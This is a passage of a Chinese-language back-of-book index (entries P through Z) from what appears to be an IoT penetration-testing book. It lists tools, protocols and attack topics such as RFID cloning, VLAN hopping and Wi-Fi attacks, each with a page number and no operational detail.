OWASP(开放 Web 应用程序安全项目), 9–10
OWASP iGoat 项目。参见 iGoat 移动应用
OWASP IoTGoat, 235
OWASP Zed Attack Proxy (ZAP), 410
P
起搏器, 15
数据包格式
LoRaWAN, 323–324
UART, 158
数据包注入功能, 288
数据包结构, BLE, 271
降级遗留加密(POODLE)攻击,94
焊盘,UART,159
成对主密钥(PMK),300
成对主密钥标识符(PMKID)字段,299,301–304
成对瞬态密钥(PTK),300
并行通信协议,158
奇偶校验位,UART,158
解析可变长度字段,103–104
被动侦察,37–40,292
被动 RFID 技术,241–242
被动蜘蛛爬行,48
密码过期,51
密码历史,51
密码
破解 Netgear D6000 管理员凭证,213–214
过期,51
固件更新服务漏洞,233–234
历史,51
在安卓应用中的重置,363–365
强度,测试,51
通过指纹识别服务的揭露,67–71
剪贴板,353
补丁级别,测试,52
专利,38
载荷,MQTT CONNECT 数据包,81–82
PBC(按键配置),296,297–299
PCB。见 印刷电路板(PCB)
(P-DATA-TF)消息,96
pdc 命令,356
pdf 命令,356
pdu_header_encode() 函数,110
PDU(协议数据单元),96–97,271
PEAP(保护的 EAP),304–305
渗透测试。见 安全测试方法
感知层,测试,47
外围接口,40–41
个人身份信息(PII),53
PHDR(物理头部),324
PHDR_CRC,324
PHI(受保护的健康信息),53
飞利浦 HealthSuite 健康安卓应用,366
Pholus,410
滥用 mDNS 探测阶段,134–136
与...的侦察,133–134
PHYPayload,324
跑步机的物理按钮,禁用,398–400
物理进入智能家居
克隆钥匙锁系统的 RFID 标签,372–375
无线报警干扰,375–379
物理设备,识别威胁,26–27
物理头(PHDR),324
物理鲁棒性,测试,42–43
个人可识别信息(PII),53
PIN 输入,WPS,296–297
引脚输出,UART,159–162
引脚
Arduino Uno,198
闪存芯片,192–193,194
JTAG,166–167
UART,159–162,176–177
播放 IP 摄像头流
分析网络流量,380–382
提取视频流,382–385
概述,379–380
流媒体协议,380
PLAY 请求,382
Plutil 工具,345
PMK(对等主密钥),300
PMKID(对等主密钥标识符)字段,299,301–304
指针记录(PTR),132–133,138,139–140
POODLE(降级加密填充 Oracle)攻击,94
portfwd 命令,399
端口
网络协议,90
UART,159–162
ports Nmap 服务探测指令,72
前导码,无线电,323
预启动执行环境(PXE),41
预测文本引擎,353
首选网络列表,292
演示上下文,A-ASSOCIATE 请求消息,111
表示层,UPnP,120
共享密钥攻击,299
最小特权原则,51–52
印刷电路板(PCB)
JTAG 引脚,166,167
UART 引脚,159–160
打印机,中间人攻击。参见 mDNS 投毒器
隐私泄露,32
特权,提升。参见 特权提升
PRNG(伪随机数生成器),373
Probe Nmap 服务探测指令,72
探测请求,292
探测阶段,mDNS,132,134–136
受保护 EAP(PEAP),304–305
受保护的健康信息(PHI),【53】(c03.xhtml#Page_53)
协议数据单元(PDU),96–97,271
ProtoField类,99
ProtoField.string函数,102
Proto(name, description)函数,99
原型设计,【93】(c05.xhtml#Page_93)
ProxCard,HID Global,244,246
Proxmark3,410
改变 RFID 标签,255–256
使用 Android 应用攻击 MIFARE,256–257
使用脚本引擎自动化 RFID 攻击,263–264
窃听标签与读卡器之间的通信,260–261
从捕获的流量中提取扇区密钥,261–262
高频标签克隆,250–254
识别低频和高频卡,248–249
密钥锁系统标签,克隆,372–375
合法的 RFID 读卡器攻击,262–263
低频标签克隆,249
概述,245–246
RAW 命令,258–260
使用自定义脚本进行 RFID 模糊测试,264–268
设置,246
模拟 RFID 标签,254–255
更新,246–248
伪随机数生成器(PRNG),【373】(c15.xhtml#Page_373)
PTK(成对瞬时密钥),300
PTR(指针记录),132–133,138–140
发布-订阅架构,【73】(c04.xhtml#Page_73)
泵服务,识别威胁,27–28
打洞穿透防火墙,121–126
Pupy,391,393,399,410
pupygen命令,391
按钮配置(PBC),【296】(c12.xhtml#Page_296)–299
PuTTY,319–320
PXE(预启动执行环境),【41】(c03.xhtml#Page_41)
pyserial包,315–316
Python 2,128,134
Q
Qark,361,410
QEMU(快速仿真器),【216】(c09.xhtml#Page_216)–217,411
QU 位,132
R
r2命令,355
rabin2命令,355
Radare2, 355–356, 358, 411
Radcliffe, Jay, 11–12, 16
无线射频识别(RFID), 239. 另见 Proxmark3
修改标签, 255–256
使用脚本引擎自动化攻击, 263–264
窃听标签与读卡器之间的通信, 260–261
从捕获的流量中提取扇区密钥, 261–262
使用自定义脚本进行模糊测试, 264–268
一般讨论, 240
高频标签克隆, 250–254
高频标签, 245
识别低频和 高频卡, 248–249
钥匙锁系统标签克隆, 372–375
合法读卡器攻击, 262–263
低频标签克隆, 249
低频标签, 244–245
概述, 239
被动和主动技术, 241–242
无线频率带, 240–241
标签的 RAW 命令, 258–260
模拟标签, 254–255
标签结构, 242–244
无线干扰, 291
radio rx 0 命令, 316–317
radio set crc off 命令, 316–317
radio set sf sf7 命令, 316–317
radio set wdt 0 命令, 316
RADIUS(远程身份验证拨号用户服务)服务器, 304
randomize() 函数, 265–266
勒索软件攻击, 5
稀有度等级, 68
rarity Nmap 服务探测指令, 72
Raspberry Pi 转变为无线发射器, 378–379
限速, 297
RFID 标签的 RAW 命令, 258–260
RBAC(基于角色的访问控制), 49–50
rdbl 参数, 253
只读存储器(ROM), 338
Realtek RTL2832U 芯片组, 376
Reaver, 297, 411
接收(RX)端口, UART, 159, 162, 178
receive(dcm) 函数, 109
侦察
激活, 43–45
使用 DNS-SD, 133–134
使用 mDNS, 133–134
被动, 37–40, 292
recv_data() 函数, 174
远程认证拨号用户服务 (RADIUS) 服务器, 304
远程控制跑步机的速度和坡度, 394–398
远程维护, 安全测试, 53
远程 shell 访问, 获取, 391
重放攻击, 23, 31
控制服务器服务, 23
LoRaWAN, 330–331
概览, 31
存储库 APK, 397–399
否认, 22
控制服务器服务上, 23
药物库上, 23
固件上, 26
硬件上, 27
操作系统上, 25
泵服务上, 28
限制性用户界面上, 22
STRIDE 威胁分类模型, 19
请求全部 (REQA) 命令, 258–259
RequestConnection 命令, 129
RequestTermination 命令, 129
restore 参数, 254
限制性用户界面 (RUI), 22–23
ret_code 字段, 83
逆向工程协议, 46–47
撤销规避攻击, 7–8
RfCat, 411
RFID. 参见 无线射频识别 (RFID)
rfm9x 类, 322
rfm9x.receive() 函数, 322
rfm9x.rssi() 函数, 322
RFQuack, 411
稳健安全网络 (RSN), 301
Rogers, David, 14
基于角色的访问控制 (RBAC), 49–50
ROM (只读内存), 338
root 检测, 避免, 368–370
root 用户, 394
Rpitx, 378–379, 411
rpitx 命令, 378–379
RSN (稳健安全网络), 301
RTCP 协议, 380
RTL-SDR DVB-T 加密狗, 375–376, 411
rtpdump 文件, 383–384
rtpplay 命令, 384
RTP 协议, 380
RTP 流, 提取, 383
RTP 工具, 384, 412
RTSP DESCRIBE 请求, 381
RTSP OPTIONS 请求, 381
RTSP 协议, 380
RUI (受限用户界面), 22–23
RX (接收) 端口, UART, 159, 162, 178
S
S3Scanner, 209–210, 412
Saleae 逻辑分析仪, 163, 176–177
SAMD21 微控制器, 318
SAMPLE/PRELOAD 命令, JTAG, 164
沙箱, 340, 347
SCAN 请求, 270
Scapy, 64–65, 412
Schlage 门锁伴侣应用, 368
SCK (串行时钟), 191
SCL (串行时钟线), 197, 199–200
屏幕截图, 应用程序, 352
脚本引擎, Proxmark3, 263–264
script list 命令, 263
script run 命令, 263
script run fuzzer 命令, 267
SDA (串行数据线), 197, 199–200
SD 卡目录, 检查, 367
SDP (会话描述协议) 文件, 381–383
SDR (软件定义无线电), 375–376
search 参数, 248
扇区尾部, 250–251
安全启动, 341
Secure Enclave, 341
安全 IPC, 340
安全模式, Wi-Fi 网络, 288
SecureRom, 341
Secure RTP (SRTP) 协议, 385
安全漏洞, 32
安全性测试方法论
云测试, 54
概念层, 36
硬件层, 40–43
主机配置审核, 50–54
移动应用, 54
网络层, 43–47
概览, 35–37
被动侦察, 37–40
Web 应用程序, 48–50
种子, 264
Segger J-Link 调试探针, 165
选择卡片命令, 258–260
选择性干扰, 291
半被动 RFID 技术, 242
send_cmd 函数, 317
send(dcm, data) 函数, 109
敏感日志文件, 234
串行时钟 (SCK), 191
串行时钟线 (SCL), 197, 199–200
串行数据线 (SDA), 197, 199–200
串行监视器, 180, 310, 313, 319–320
串行外设接口 (SPI), 189
使用 Shikra 转储 EEPROM 闪存芯片, 192–196
一般讨论, 191
用于通信的硬件, 190–191
概述, 189
串行协议, 158
串行线调试 (SWD), 158
黑客设备通过
在 Arduino 中编写目标程序, 172–174
设置调试环境, 170–172
调试目标, 181–188
刷写并运行 Arduino 程序, 174–180
STM32F103C8T6 目标设备, 169–170
工具, 168–169
用于通信的硬件工具, 165
概述, 158, 165
串行线或 JTAG 调试端口 (SWJ-DP), 165
ser 串行对象, 317
服务器冒充攻击, 94
server_ip 变量, 230
服务器配置错误的测试, 54
<service> 标签, 120
服务发现阶段, Wi-Fi Direct, 296
服务, BLE, 272
服务扫描器, DICOM. 参见 DICOM 服务扫描器
服务扫描, 44
服务版本检测, 44
会话描述协议 (SDP) 文件, 381–383
会话管理, 49
SetAutoDisconnectTime 命令, 129
SetConnectionType 命令, 128
SetIdleDisconnectTime 命令, 129
设置篡改攻击, 32
setup() 函数, 173, 312–313
SETUP 请求, 381–382
SetWarnDisconnectDelay 命令, 129
SGX, 341
共享内存段, 397
Shikra, 412
短程无线电, 239。另见 特定技术
showRootStatus() 函数, 368–369
边信道分析, 330
边信道泄露, 367–368
信号干扰攻击, 31
信噪比(SNR), 375
签名,应用, 340
签名, 94
SIMATIC WinCC OA 操作员应用程序, 348
sim 参数, 255
简单对象访问协议(SOAP), 120
模拟 RFID 标签, 254–255
mDNS 投毒者的骨架文件, 141–143
刷卡攻击, 23
小外形集成(SOIC)夹, 190, 193
智能门锁,规避, 372–375
智能家居。另见 攻击智能跑步机
克隆钥匙锁系统的 RFID 标签, 372–375
干扰无线警报, 375–379
概述, 371–372
回放 IP 摄像头流
分析网络流量, 380–382
提取视频流, 382–385
概述, 379–380
流媒体协议, 380
智能锁系统, 7–8
smartQuotesType 属性, 354
攻击智能跑步机
Android 操作系统, 386–387
提升权限, 394
由于...的伤害, 400
安装 APK, 391–393
概述, 385
远程控制速度和坡度, 394–398
远程 shell 访问, 391
软件和物理按钮,禁用, 398–400
UI 限制,规避, 387–390
强制设备发送短信, 351–352, 365–366
快照 文件夹, 352
嗅探 CDP 模式, 66
嗅探器宏, 204–205
使用 CatWAN USB 棒嗅探 LoRa 流量, 318–322
嗅探模式,CDP, 66
SNR(信噪比), 375
SOAP(简单对象访问协议), 120
套接字创建函数, 107–108
套接字销毁函数,107–108
socketserver 框架,142,144
softmatch Nmap 服务探测指令,72
软件组成分析,52
软件定义无线电(SDR),375–376
软件碎片化,338
软件完整性控制,18
跑步机软件,禁用,398–400
软件白名单,18
SOIC(小型外形集成电路)夹子,190,193
跑步机速度,远程控制,394–398
SPI。请参见串行外设接口(SPI)
爬虫工具,48
spiflash.py 脚本,196
欺骗 CDP 模式,66
欺骗,22,23
关于控制服务器服务,23
关于药物库,24
关于固件,25
关于硬件,27
MAC 地址,283–285
关于操作系统,25
关于泵服务,28
关于限制性用户界面,22
STRIDE 威胁分类模型,18
欺骗模式,CDP,66
spooftooph 工具,284
使用预制数据包模式欺骗,CDP,66
扩频因子,313,316–317
扩频,308
SQL 注入攻击,24,120,354
Squashfs 格式,71
SRTP(安全 RTP)协议,385
SRV 记录,132–133,135,138–140,144
SSL 证书授权机构(CA),357
sslports Nmap 服务探测指令,72
STA(站点),288
堆栈破坏保护,346
Stais, Ioannis,385
标准,8–10
星形拓扑,309
启动位,UART,158
国家反黑客法律,13
状态,Ncrack,79–80
静态分析
固件文件系统内容,213–216
InsecureBankV2 应用,361–362
OWASP iGoat 应用,344–346
静态修补
越狱检测, 避免使用, 358–360
避免根目录检测, 368–369
站点 (STA), 288
stdnse 库, 106
step 命令, 349
ST-Link 编程器, 165
启动模式, 选择, 174–175
连接到计算机, 179–180
连接 USB 到串行适配器, 178
刷写并运行 Arduino 程序, 174–180
UART 引脚, 使用逻辑分析仪识别, 176–177
上传 Arduino 程序, 175–176
STM32F103C8T6 (Black Pill)
启动模式, 选择, 174–175
在 Arduino 中编写目标程序, 172–174
连接到计算机, 179–180
连接 USB 到串行适配器, 178
调试目标, 181–188
刷写并运行 Arduino 程序, 174–180
概述, 169–170, 412
UART 引脚, 使用逻辑分析仪识别, 176–177
上传 Arduino 程序, 175–176
停止位, UART, 158
strcmp() 函数, 185–186
流媒体协议, 380
STRIDE 威胁分类模型, 18
使用攻击树, 28–29
将架构分解为组件, 20–21
识别架构, 19
识别威胁
控制服务器服务, 23–24
药品库, 24
固件, 25–26
操作系统, 25
概述, 21–22
物理设备, 26–27
泵服务, 27–28
RUI, 22–23
概述, 18–19
string 库, 106
string.pack() 函数, 109–110
string.unpack() 函数, 109, 113–114
提取应用实体标题的字符串值, 102
订阅者,在发布-订阅架构中, 73
向现有协议树中添加子树, 102–103
SUID 二进制文件, 394
RFID 标签中的补充数据, 243–244
供应链攻击, 27
(-sV)Nmap 命令, 68
SWD. 参见 串行线调试 (SWD)
切换欺骗攻击, 61–63
switch 语句, 85
SWJ-DP (串行线或 JTAG 调试端口), 165
Sybil 攻击, 32
符号链接, 216–217
同步通信协议, 191
syslog 函数, 230–231
系统手册, 37
T
表格 库, 106
Tag-Connect 接口, 167
标记端口, 60
标签与读取器通信,窃听, 260–261
TAGulator, 166–167
tag 变量, 265
篡改, 22
关于控制服务器服务, 23
关于药物库, 23
关于固件, 26
关于硬件, 27
关于操作系统, 25
保护与检测, 41–42
关于泵服务, 28
关于限制性用户界面, 22
STRIDE 威胁分类模型, 18
防篡改硬件, 341
TAP (测试接入端口), 164–165
目标服务,WS-Discovery, 145–146
TCK (测试时钟输入), 164
TCP SYN 洪水攻击, 94
tcpwrappedms Nmap 服务探测指令, 72
TDI (测试数据输入), 164–165
tdnse.get_script_args() 函数, 112
TDO (测试数据输出), 164–165
技术保护措施 (TPMs), 12–13
TEE (受信执行环境), 41, 341
测试接入端口 (TAP), 164–165
测试时钟输入 (TCK), 164
测试数据输入 (TDI), 164–165
测试数据输出 (TDO), 164–165
测试环境设置, 75–76
测试钩片, 190, 194
测试
解码器, 104
固件更新服务, 232–233
LoRa 发送器,310–314
mDNS 投毒,144–146
测试方法论。参见 安全测试方法论
测试模式选择(TMS)输入,164–165
测试点接口,42
测试探针,159
测试复位(TRST)输入,164–165
短信,强制设备发送,351–352,365–366
厚客户端,210–211
精简二进制,355
威胁建模,17。参见 STRIDE 威胁分类模型
常见威胁,31–33
DREAD 分类方案,29–30
问题,18
其他类型,30–31
概述,17
时间尺度,6
生存时间(TTL)值,132
定时标记,177
Titan M,341
TMS(测试模式选择)输入,164–165
工具开发,93
工具。参见具体工具
主题,在发布-订阅架构中,73
拓扑映射,44
totalwaitms Nmap 服务探测指令,72
TP-Link Kasa 应用,366
TPM(技术保护措施),12–13
传统与物联网安全,5–6
传输语法,111
晶体管-晶体管逻辑(TTL),168
传输功率,313
发送(TX)端口,UART,159,162,178
跑步机,攻击。参见 智能跑步机,攻击
TRST(测试复位)输入,164–165
主干链路,61
主干端口,60
信任边界,20–21
受信执行环境(TEE),41,341
受信平台模块,341
TrustZone,341
TTL(生存时间)值,132
TTL(晶体管-晶体管逻辑),168
TX(发送)端口,UART,159,162,178
TXT 记录,133,138–140,144
U
UART。参见 通用异步接收发送器(UART)
UART 桥接 VCP 驱动,310
Ubertooth One,412
创建 UDP_server,142
UEFI(统一可扩展固件接口)安全启动,* 41*
UF2(USB 闪存格式),318
UID(唯一标识符),244,255,258
UI 限制,绕过,387–390
英国《实践规范》,14
超窄带(UNB),308
Umap,118,413
通过 WAN 接口滥用 UPnP,126–131
未加密的通信通道,234
统一可扩展固件接口(UEFI)安全启动,41
唯一标识符(UID),244,255,258
通用异步接收器-发射器(UART),157
波特率,识别,162–163
通过设备进行黑客攻击
在 Arduino 中编写目标程序,172–174
设置调试环境,170–172
调试目标,181–188
刷写并运行 Arduino 程序,174–180
STM32F103C8T6 目标设备,169–170
工具,168–169
用于通信的硬件工具,158–159
概述,157
数据包格式,158
端口,识别,159–162,176–177
通用即插即用(UPnP)
通过 WAN 接口滥用,126–131
常见漏洞,120–121
漏洞历史,118
其他类型的攻击,131
概述,118
穿透防火墙,121–126
UPnP 栈,119–120
u 参数,255
更新机制,固件。参见 固件更新机制
upload 命令,399
UPnP。参见 通用即插即用(UPnP)
UPnProxy,118
URL 方案,344–345,351–352
USB 闪存格式(UF2),318
USB 端口,评估,40–41
USB 到串行适配器,168,176–177
USB 到串行接口。参见 总线海盗(Bus Pirate)
用户帐户,测试,51
用户认证,移动应用,340–341
用户信息上下文,A-ASSOCIATE 请求消息,111
用户知识,39–40
用户级别隔离,49–50
用户名枚举,49
用户密码,重置,363–365
用户安全意识,32–33
USRP,413
UUIDs,278
V
validate() 函数,174,184–187
Valsamaras,Dimitris,385
变量头部,MQTT CONNECT 包,80–82
变长字段,解析,103–104
Vcc(电压)端口,UART,159,162
vconfig 命令,63
厂商,从中获取固件,208–209
版本强度,68
Vibease 无线遥控震动器应用,367
视频管理服务器,145
攻击,152–153
假冒网络摄像头,147–152
Vim,315
虚拟局域网(VLANs),60–61
VLAN 跳跃攻击
双标签攻击,63–65
模拟 VoIP 设备,65–67
概述,60
交换机欺骗攻击,61–63
VLAN 标签,61
VMware,122–123
模拟 VoIP 设备,65–67
VoIP 跳跃,65–67,413
电压(Vcc)端口,UART,159,162
漏洞扫描,46
VV 命令,359
W
WAN 接口,通过 UPnP 滥用,126–131
WannaCry 攻击,5–6
看门狗定时器,316–317
web 应用程序,评估,48–50
web 应用程序会话,49
Web 服务动态发现(WS-Discovery),145
构造攻击,152–153
假冒网络上的摄像头
在 Wireshark 中分析请求和回复,147–149
模拟摄像头,149–152
设置,147
WebView, 350
绕过跑步机上的 UI 限制, 387–390
XSS 漏洞, 353–354
wget 命令, 212, 226
整个固件仿真, 218–221
Wi-Fi
对接入点(AP)的攻击
破解 WPA/WPA2 企业版, 304–305
破解 WPA/WPA2, 299–300
概述, 299
针对无线客户端的攻击
关联攻击, 291–295
去认证攻击, 289–291
拒绝服务攻击, 289–291
概述, 288–289
Wi-Fi Direct, 295–299
一般讨论, 287–288
安全评估硬件, 288
测试方法论, 305–306
Wi-Fi Direct, 针对其的攻击, 295–299
Wi-Fi 调制解调器路由器黑客攻击
动态分析, 221–223
提取文件系统, 212
固件仿真, 216–221
概述, 211–212
静态分析文件系统内容, 213–216
Wifiphisher, 294–295, 297–298, 413
Wi-Fi 保护访问 (WPA/WPA2), 47, 299–300
Wi-Fi 保护设置 (WPS), 296–297
有线等效隐私 (WEP), 47, 299
无线报警, 干扰, 375–379
无线客户端, 攻击
关联攻击, 291–295
去认证和拒绝服务攻击, 289–291
恶意双胞胎攻击, 291–292
KARMA 攻击, 292
已知信标攻击, 292–295
概述, 288–289
Wi-Fi Direct, 295–299
无线协议测试, 47
Wireshark
关于 Wireshark 窗口, 98
额外文档, 91
ADV_IND 数据包, 271
生成 DICOM 流量, 97
启用协议窗口, 91–92
IP 摄像头网络流量,在,380–381
在启用 Lua 时,97–99
Lua 解码器,开发中,99–101
使用分析网络流量,92
概述,413
提取 RTP 流,383
SRV 记录在,133
测试解码器,91
流量转储
语音网络中的 DHCP 帧,67
MQTT CONNACK 包,76
MQTT CONNECT 包,74
分析 WS-Discovery 请求和回复,在,147–149
世界可写日志,23
破解 WPA 企业版,304–305
WPA/WPA2 (Wi-Fi Protected Access), 47, 299–300
WPA/WPA2 四次握手,299–300
WPS (Wi-Fi Protected Setup),296–297
wrbl 参数,256
写前日志机制,354
WS-Discovery。见 Web 服务动态发现 (WS-Discovery)
X
xcodebuild 命令,343
Xcode IDE,342
xcode-select 命令,342
Xcrun,351–352
xcrun 命令,342–343
XSS 注入攻击,353–354
XXE(外部实体)攻击,121
Y
Yersinia,61–63,413
Yushkevich, I.,367
Z
ZAP (OWASP Zed Attack Proxy),410
零配置网络,117。另见**特定协议
Zipalign,369





浙公网安备 33010602011771号